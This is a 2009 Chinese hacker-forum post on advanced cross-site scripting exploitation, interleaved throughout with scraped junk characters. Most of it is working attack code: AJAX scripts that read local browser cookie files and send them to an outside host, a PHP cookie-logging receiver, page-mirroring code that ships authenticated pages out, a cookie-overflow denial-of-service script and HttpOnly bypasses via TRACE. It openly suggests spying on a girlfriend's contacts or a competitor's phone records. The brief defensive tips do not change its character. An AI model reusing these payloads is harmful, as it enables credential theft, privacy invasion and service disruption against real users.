XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
  A9 Z  \5 N0 @% n( x
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
# D$ V7 V* `. ]$ U' ]8 C0 y

0 Q. q6 W% a2 z+ h9 a9 L8 {
" O4 Y9 H3 R- {! ~! n) k' S, ^! S-------------------------------------------前言---------------------------------------------------------

( x) K. S' E9 z
. l, r+ u) c; c$ m本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
  b+ U) q! L% N9 G
9 O/ [  u" ~6 T3 D( Z( ]: H! R! }
: o# I% B. m2 h. b! w如果你还未具备基础XSS知识,以下几个文章建议拜读:
" d" X4 |# |6 n4 ?% a+ b% o' chttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
) D* G1 o8 ?1 n, R' s+ m. \0 khttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
# A; H! {' ]" Hhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
3 x3 E& W8 G$ T. t2 T, i# u



9 ^, i* h7 _3 P+ b& A5 U) V如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
1 {$ U, S( \2 K
# v; }  V7 s5 I* N5 A, \希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

0 v! [8 B- F/ c5 M" s8 p, M) K如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
# B1 }" `: X! m; t3 T2 O
3 U/ g; w: x7 ]" FBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
; D' O8 g5 _5 z- r
' U- a( @/ Y) h2 I0 NQQ ZONE,校内网XSS     感染过万QQ ZONE.

6 A3 K/ i( |) y7 OOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
- y. ^1 X/ Z, a- u$ H  R复制代码------------------------------------------介绍-------------------------------------------------------------
$ h3 e! a/ {- X. m( K7 u
9 Y( T. R* k) s3 o什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
% o1 q- N7 A# S! a7 E

8 ]% @% z5 _. Y: p9 ^
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

1 m+ a: c* R- u# o  L  y/ f

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
) K9 f2 ]$ t2 p' L8 V) g复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
$ c* @+ D/ ]; U/ X. z# H9 g$ M; `我们在这里重点探讨以下几个问题:

+ Z) |, H( _8 Q" n* w1        通过XSS,我们能实现什么?

0 R1 h) G8 k- C* o+ i* Q2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
0 F: v+ Z# j1 E/ t8 D1 u
8 m& _5 z0 N& b& T" c3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
+ B: n9 d5 [+ y  y. U
9 h& `% i* o1 \3 }+ D
3 [# r5 M% C; a
------------------------------------------研究正题----------------------------------------------------------
7 D: b4 s0 [0 d1 v" M7 i7 l% z

! I- h$ f' e1 l2 K/ g4 p
% K- z' F, }3 {4 l通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
1 [, U$ [8 e! P; r9 E6 V复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
9 j1 U+ B) m7 m3 j, g2 u% y' ^1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
# c, Z9 }3 w; [
% H( \2 f! l1 {* G1 Y: f
* L6 q2 w7 s: z+ x+ E' E+ H
: l; {, n4 N. `" o# p( e+ [
$ V% c# J8 d& B0 A2 U
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
* @9 h4 h& R1 q$ `" M
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

# D/ g; s4 j* S* K# W

    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



' _6 u, @- J% t) P    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
7 Q/ Y! ^- J0 z  g1 |, z2 f
. ^& w/ x* D% t4 n- W
* U5 c& c* _2 {& ~: M7 H" \
) w* m6 C3 |' M, E8 {; N7 P6 _    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

  E2 I; p( V9 L    function $(x){return document.getElementById(x)}

+ i+ {, t1 V+ d6 p$ L
2 S: D' g( H$ x
    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {
4 w: W# ^( C& |* z
3 p, ]3 |0 i+ z8 P. A$ D    request = new XMLHttpRequest();
$ W% y4 s. W5 S+ L" h! E
    } else if(window.ActiveXObject) {
/ n# w9 a6 ^. E# @) }$ c7 e! H. c
8 W. E# v8 I1 F' ^: n7 p' J    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


# f4 {7 n, F; w
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
$ L; e0 q7 C0 a; {
5 a( F# ~" C- ~    for(var i=0; i<versions.length; i++) {

    try {
3 [2 q1 V' U0 [6 p$ z% K: g
3 b# C# U, n0 x& o. o" s    request = new ActiveXObject(versions);
: I+ g+ @5 M  V
4 Y+ A4 f: D5 b7 D; v  T& e9 ~    } catch(e) {}
0 ?' y: Y  M0 T4 F9 Y- `! b- _4 \
" a  o$ o% A: I6 V; H/ ]    }
& }# Z3 x1 V, w0 z/ K8 Z9 r
    }
; U. {% q8 E7 h3 h
. v  j2 [$ e% o6 ]  z    return request;
1 Z8 _* J) i$ f/ t
    }
6 c; A: U, }7 G% o* r5 K
& I$ k1 L/ z8 _: s8 W+ T" M    var _x = ajax_obj();
/ H' \' \2 t# k* t$ P4 [
    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
* J7 ]  I" ]9 t. C
* D1 M' C) M  q% g) v: L    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;
4 P, ?7 C: U/ \; a
    }
- z( Q' _7 x: z! v2 k/ B


/ L2 W: T/ h" G9 z    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);

( z: ?% D0 r, _  \

) U3 E/ r  e. o# l    </script>
, }' \- z4 ^" q6 C复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
) A  ^# k+ ~, i, V# i5 d/ |
/ b: ~  b  z+ k' [" y, z    function $(x){return document.getElementById(x)}

! X9 W" g& s5 c$ x

    function ajax_obj(){
4 I+ W7 d- X- J8 W3 s( O8 n9 G2 A
7 I* P. J6 }0 O( _! r    var request = false;

1 f8 i2 M2 K" Z$ N% Q" O+ F    if(window.XMLHttpRequest) {
; g( m+ U) E% e) z' ]( r
    request = new XMLHttpRequest();
0 F- N1 C5 `3 A' q9 Y& c( h
    } else if(window.ActiveXObject) {
0 s$ Z2 F2 B' S5 M$ m1 R0 m
$ l+ k8 I. I7 C1 b: {7 r# I    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

) H1 ~5 `3 P3 c; L

1 f/ h7 S' S0 E7 U. d. q$ \    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

; `& W4 O  _+ O5 j    for(var i=0; i<versions.length; i++) {

& E$ q; H* `, \& ?+ R8 Y$ j    try {

    request = new ActiveXObject(versions);

# _5 m2 o  u* |+ `! E    } catch(e) {}
9 m' n2 ~# g& N8 B
    }

& P8 `  {5 w# D    }
  s' h3 m0 j8 T7 ?+ s
( H, I* R3 s& T8 S    return request;

    }
" t4 j8 a0 |1 n, r6 |
% t1 [7 v% q( P. Y    var _x = ajax_obj();
' z; C, S; q5 q' o& [3 C
7 |4 j4 a; {2 k" X. B    function _7or3(_m,action,argv){

) i4 F8 I! a# V, U    _x.open(_m,action,false);
: |4 o) b4 ^; H& k0 b" z
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
; ]/ ~2 P7 C; B- ]$ j& ?6 Q3 Y; j
    _x.send(argv);

9 ]) W7 J. }0 a5 o$ u' H- ?    return _x.responseText;

3 c' w& k8 p: @. x' V- _$ F    }

! [3 l; ?0 m( G9 G+ \. Q- L

    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
9 \& H3 w, h/ `; z) q/ F  j

9 {# m& g! S- f! ~0 V. }8 C! J
    </script>
8 Y: v+ U1 @& X3 K1 ?2 j6 p复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
  _) L: M7 j$ P6 P7 @" K9 `


7 z/ A( v, `7 C* y7 WChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"



# z: O2 l. O1 O+ a% M' N<?   
, o1 f* D$ [! W
1 t' m# M) V* @/*  
# l5 o7 h& L' _. L4 A+ I& I
& z& S+ g4 T4 f! Z3 L4 a     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

3 h* v7 `- @7 y3 f! v( C% w8 F     www.inbreak.net   

3 @1 x) ~' K4 I' s+ K& u$ s     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
1 T! ~+ E7 l1 D1 I3 O9 j9 b
*/  
# }4 ^4 s( H, [/ L$ C: g, Z2 r
0 l$ J- a# ~8 V8 V1 Z6 Xheader("Content-Disposition: attachment;filename=kxlzx.htm");   
6 E, }& m! d& f% H: v; t4 ^( W
8 |4 I% Z  @3 a2 Iheader("Content-type: application/kxlzx");   
: T* D/ O5 [( z3 j0 B* x  X% ]7 q
' R: ~* d. b/ `8 B9 I8 X2 N/*  

( l6 R7 K. M* {# R; h+ V     set header, so just download html file,and open it at local.  

*/  

4 G/ p/ i/ L9 u# s9 m. ??>   
. W: l8 R6 l; H7 J+ S
5 j9 F' R, ~) z: V3 w, X1 @<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
3 d3 u+ Y& m/ J- ]1 C# V! E
     <input id="input" name="cookie" value="" type="hidden">   
4 y( a8 c- A) U4 p  l% Z9 I
* F3 g0 Q3 T: W/ Z  h1 \</form>   
' h/ w6 [& T6 \: P: w
* p' ~; h0 p$ Q3 W" x<script>   
2 B6 O, x  e; ~% ^
function doMyAjax(user)   
2 e, C: G- Z' M, ]- C( R! ]/ t  Q
( J# c3 t) q( k; J" N{   

var time = Math.random();   

* f- l: C8 h# ?+ s" A" b! G& \/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  
! c5 s- @2 U) {; D: q
9 J8 G5 s  a& Y& ?: V- c9 g*/  
0 P; V  L6 W" V. D  P
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
  {1 X5 C% I9 M  L. y
1 ~7 d! {/ h' o/ x$ k   

startRequest(strPer);   
% r& a+ y" _- ~  S3 b+ c% C
) r, ?: C" @9 f$ ]2 r4 D! S
2 P+ |! `- Y0 d( s2 n
}   
9 ]% Z9 {! R8 \0 {# N4 @8 Q' Q  f3 y
5 n* w  V$ U. N% N# Z# M# B   

( t+ c8 t9 g4 Jfunction Enshellcode(txt)   

{   

. L9 s1 i- k9 s! z+ [2 D( Xvar url=new String(txt);   

var i=0,l=0,k=0,curl="";   
* O5 C! h4 t: _/ Y! C0 C& C" S
l= url.length;   

for(;i<l;i++){   

k=url.charCodeAt(i);   
! u7 `! W2 B4 E( p" H; Z
* [* K( V, m  y& S' b; tif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
% ]1 e$ F( |8 t
if (l%2){curl+="00";}else{curl+="0000";}   
$ F. M: P! Z# I: A* j  ]
1 r& u0 G$ Q- E3 L7 t8 p+ k" X. `curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
+ U3 _! n: A% l% Z, K4 o- j3 `; ~) v4 O7 T
}   

   
& {! q9 C0 B; F- N
2 u" m' W4 x# a3 r   
0 E5 ^7 G! A; c% h+ i
var xmlHttp;   
. y7 K- Z& y" C$ W
function createXMLHttp(){   

' @4 a4 p' \5 C$ x     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           

     }   

     else if(window.ActiveXObject){   
: h7 ?. F9 b; z% a
/ g9 k! Q" c) P4 X. C  L% lxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
% }2 N) \0 S, M% k  j7 |6 J
     }   

}   
6 U0 S2 S2 V, t- L9 k' C- r
2 ?0 V& O; ~- W* }! l9 C* R; F   

% r5 @' ]; x* E- o/ j* [function startRequest(doUrl){   

   
. }  |  g7 w/ X- W
4 M8 s5 c! q# m/ x' {     createXMLHttp();   



     xmlHttp.onreadystatechange = handleStateChange;   
. o# r, `4 q3 g
8 v% R6 |3 t; }2 ~! ^" r2 o
( k# z* @% C" V  U
     xmlHttp.open("GET", doUrl, true);   

4 [7 n" g8 _0 q
, f0 I/ l' w- ?; ~1 |6 c0 X
) e4 P2 o9 q: _     xmlHttp.send(null);   
3 |* A# d2 W( R3 O+ F4 c
1 S9 m" @2 G5 a$ t+ r4 t+ @0 U0 _

4 P, G0 O" o$ A" d
8 t8 i# s, C4 n3 c$ s
5 y! U9 C  s; g. a3 b}   
, H1 i0 o8 @$ n% Q6 r, b$ M
   
& J  m+ r' e4 s' c- T/ ]
6 Y0 r# G3 u# Q' Sfunction handleStateChange(){   
# u# _4 v# o+ t2 q5 f6 P7 e2 Y
* Q* U' w& |) C5 m     if (xmlHttp.readyState == 4 ){   

' C7 ]4 k9 [; ?& b% z+ F( X     var strResponse = "";   

# l3 s3 Q) W+ ~/ C     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
" H% o' u' }; y$ |6 T
        
9 z8 I0 D& A: R! U, m9 x! K: e- E
     }   
1 K3 k- d. g8 O6 t( E
}   
/ W- e/ O0 F" k
: G) M* Z/ T4 u& Z0 `6 F, _" L   

   

function framekxlzxPost(text)   

% n' ^4 W& F, @9 c{   
9 _3 u# ~3 |4 _( o
% |6 X/ w# f  M. t9 c  v     document.getElementById("input").value = Enshellcode(text);   

' ]' U6 S8 [2 h1 k9 _8 f     document.getElementById("form").submit();   

}   
7 r0 W2 L2 S* H; Q" O6 ]  k
$ K/ w4 X0 [4 k2 ^8 i6 _4 {   

doMyAjax("administrator");   

   
, q3 i+ s2 a5 @6 g7 e
* N- l& Z# B" _; v</script>
6 ?% L) b: |' m  ^' c  l2 y复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
" ~9 P1 t% l& ^  A" f* a) B" U9 s3 p
- K) {% R; i2 R0 I) j0 ^var xmlHttp;  
  q8 G/ S: A+ I6 g
7 [$ e: ]5 n8 w4 x% i+ r; j2 Tfunction createXMLHttp(){  
4 P4 s' ?/ k7 T
     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         

     }  

     else if(window.ActiveXObject){  

$ O1 b+ }" ~8 f         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
5 P  z- Y. d, U/ J6 M/ c: Z' Z: ?
     }  
8 F$ N2 _3 \+ p
+ x0 I, c6 T6 f}  

   

; ~/ @7 f4 A# A" _/ vfunction startRequest(doUrl){  
2 e2 C7 Y' M, y5 X8 J1 u
           

     createXMLHttp();  

      
% X: z: c- \2 O  j2 \) U! k' q7 j
3 Z: O0 k' i0 E1 v+ W     xmlHttp.onreadystatechange = handleStateChange;  

& n; I' P3 t% @3 r1 k7 @. I/ e3 X      

$ i2 p& S* @* `- w     xmlHttp.open("GET", doUrl, true);  
) A6 Q6 [$ Z' f" s2 O' t1 @& ]
      

3 M& b# a7 K& d& z4 l2 j     xmlHttp.send(null);  

      
( i; V: p* l5 a) i# B. n2 }* `% s
7 C( [8 ~) \! S) y8 W& [      
2 |9 N" P3 m- F* J3 n. u' i/ B
}   

1 g4 u* W: L) n! d$ t   

. Z4 o% t  `1 Pfunction handleStateChange(){  

! n+ G% u( j0 T3 G6 P  N- U     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  

, A8 e7 L2 }' q" x             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
: y+ m: E, T# ?4 M
               

     }  

" F& y7 K; ]5 D8 v9 u}  

   

function doMyAjax(user,file)  
* F; s% m8 a/ `
{  

/ U. X) w- O1 @) [  W0 J, e         var time = Math.random();  
+ y+ }/ L7 Z/ C( N
           
0 M' L( v* M! H2 h% g8 d
! k% E7 p1 t9 [: F6 X         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
& e( Z* T1 n6 e  N4 L/ ?2 P
           
7 N) o0 E7 B& b
         startRequest(strPer);  
4 r- I3 s' ^/ x( z/ B
      
2 j- `8 v' p7 F" C8 n! v
/ q! K  Z9 Q# u. G3 C, O* v- T) r+ H. V}  

   
, {5 u9 N. Y# [6 b8 X) ~0 G
5 K4 y9 h& \/ M; t- tfunction framekxlzxPost(text)  

. w0 P1 _$ J0 k- Z: ?# W{  
; p/ v& a* X) \2 F$ z2 N: m$ v
0 B# p3 C  `- j2 q1 a8 O; W     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
# I2 s* a2 G" y
1 v/ V! g7 H; O4 `     alert(/ok/);  
* o8 Q: n/ I/ c) ^" |8 G
5 y+ w/ K/ ~9 j* g4 N}  

: ?' i. Y) e: Y# A  i   

doMyAjax('administrator','administrator@alibaba[1].txt');  
/ S! e7 ^7 Q8 {" p6 v$ n
, h0 p6 }# _: C. [   
2 O: Z- J7 ?+ T3 ]. h, @" B
</script>
! F1 m% M! `0 h+ X! b7 W, v0 @


& W7 G6 W8 Z, l# Q
5 G+ X% a1 a0 @1 C8 C! A) O
a.php


+ I! Z2 A0 s/ e: U4 ~1 |, B
  |! G! p& r! h* h<?php      
7 i, \/ A* c) w, P3 N; c% b( q  b
   

& c5 d! h' ]# J) @2 _. D% [3 t$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
( u7 v9 Z0 H0 Q; R
  
, Y5 \7 b# q4 b' \
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
7 ^3 e5 x5 n" T6 Y
fwrite($fp,$_GET["cookie"]);      

: w* ]: S( a" i5 ~7 Wfclose($fp);   

?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
+ d$ T' g+ [% |7 `9 {
8 j' Z5 C0 x8 y4 R5 p; K6 \- |/ [或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
4 G3 H9 X0 H# i( G. K
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
! N9 Y" I8 D* M" r/ \% I1 F. }1 F
function getURL(s) {
$ a, [8 x6 b  r3 t8 A4 H- p$ r( j
$ d3 {& ?/ j+ ~- J: y/ Q+ E3 r, Rvar image = new Image();

image.style.width = 0;
% j, _" f# P2 g+ H$ [: F
6 c0 H. B$ ]/ Uimage.style.height = 0;
8 G1 o% [5 K  e% C
' t3 S( d/ j  P% Yimage.src = s;

  X) i0 X- A0 q) {8 D9 ^7 f}
& m, F4 u: N" w8 f! X% E
1 L" z3 f/ c& C1 p7 HgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
/ W1 ?) N- @! |* U( I- H- B这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
0 w  L; A( U. T7 t( o3 h* S$ }
; `! F% l' I! ^var str = "";

2 J' X. r* Q/ _1 c- Hwhile (str.length < 4000){
- J. ^' I/ P* a! N
$ }4 w! |+ L1 ^. |# @; A    str += metastr;

% C1 s2 y' {- d4 R}

/ D' G9 L" O; e# C0 C* A/ K) g% i
6 ?: s: _  U0 ^6 X5 Z  O$ S2 ]
$ h# |8 v4 j+ Qdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
% E% e6 u3 V5 Y
</script>

% F: Z, f/ B. m" y9 {8 R% Q详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
# J/ G, l+ c4 Q  m. c9 I& [server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

4 H# l# D/ V$ A9 m# @* _) p/ e
$ k; o1 c+ x9 z' @( f/ H! _* K& j  u
7 k, @0 ~2 g1 I* j$ W$ a5 b


7 O3 H) h- H1 v8 x3 ?2 p(III) Http only bypass 与 补救对策:
) T( {7 k$ P& P) J
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
5 O/ {/ V8 l& x# K以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

  |: n4 C# f9 @9 T% Y. g<!--
/ o% H, G! G. W
) R! J+ Z8 c6 s1 b" Pfunction normalCookie() {
5 \( D+ g9 d; \) h0 I% Q9 f
; P! U$ {* M+ Zdocument.cookie = "TheCookieName=CookieValue_httpOnly";
2 f" p& F: @$ f$ s. |# \1 u
alert(document.cookie);

6 ^0 s6 q3 w6 x6 X}

3 O! E; b8 A" u& x; K0 \4 I! S
( J: W, C' p: B
. ?7 J; ~  I! s

1 N- S4 ~% P% T) h9 j2 `; xfunction httpOnlyCookie() {

/ V( s  Y, y8 X* _4 gdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
( ^3 v  B3 B% S6 F
alert(document.cookie);}

, J$ E! ~( w6 i6 t- `5 u8 P+ A" l

$ N  R1 n4 _( V1 L: N, V& r//-->
+ G/ k, f/ R# D  T: G/ `+ K
+ j& C3 S1 X2 m; X7 l</script>
" q! U( I6 N! N* a5 X3 c


" z1 a8 F2 o' V; S! t6 v$ j1 r# T3 X<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
( C, w8 Z6 E6 H复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



var request = false;
% b3 @/ e) g7 i
        if(window.XMLHttpRequest) {
: M% x8 i" D5 p2 u& }7 c; l3 G: s
            request = new XMLHttpRequest();
1 p7 }* Q) L' O( X, s
! d: U: \7 v) d( E7 U( n            if(request.overrideMimeType) {

2 b5 a3 c4 O7 W4 ^' H% Z. R* t% @                request.overrideMimeType('text/xml');
% V8 q" Z- t# b/ U( e! p
) e+ P2 w& F- R/ n6 y% d, _/ l            }
9 e9 k& m' m* A" K, x
; n+ @1 a* b3 G1 K2 ~' i. c+ @5 o        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) F( E" G' d7 _" u
            for(var i=0; i<versions.length; i++) {

                try {
6 I  |" \8 Z' |! c& T1 D  x8 T: b
                    request = new ActiveXObject(versions);
* }8 v1 ?8 q  n$ E
4 r; H" S, L5 B( b9 Q$ h; t7 q* ~                } catch(e) {}
  _2 M6 _% R5 s5 C# ^$ y
. a: l& w" @& b/ `, [% d            }

" Q- C0 T/ T7 _0 N1 w        }
+ D' }& H. b3 }. K0 Q
xmlHttp=request;

& k) o7 k1 B1 B( RxmlHttp.open("TRACE","http://www.vul.com",false);

# U0 H  B2 H/ xxmlHttp.send(null);

xmlDoc=xmlHttp.responseText;
  a1 z! k) B. ]
/ h% B( {! p% I+ p5 w3 Jalert(xmlDoc);
( z0 _( a) Y) w- G0 }0 I. s$ @7 E
</script>
* i% g4 V/ K( f* ?3 y复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
# |5 c# s, j. N* [& ~
( c5 P( f! k) }9 p7 [" E3 u+ W/ Svar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
  E: O1 E, J1 w& j, _5 f
4 m$ Y- z2 @; f0 C. d# i  WXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

8 r1 ?# T5 j) t3 ]; Q- _XmlHttp.send(null);

var resource=xmlHttp.responseText
5 i# b& H* _/ F. u
* D" Z5 I$ t% Presource.search(/cookies/);
/ l7 v+ S; ]9 H, S4 b6 i$ ?
......................

  E; F4 I* @( x7 G* l2 E</script>
- f( c: R* C; N1 Z5 z2 Q
! C+ z/ y$ h/ x6 e" I
: q+ _; A) K  ?7 {


如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]

, P) h! ^: g5 j9 NRewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE
, l; Q; M+ @4 P% w: _- U. H: T
  Y# p* N: k: K$ G- i/ ^) ]. dRewriteRule .* - [F]
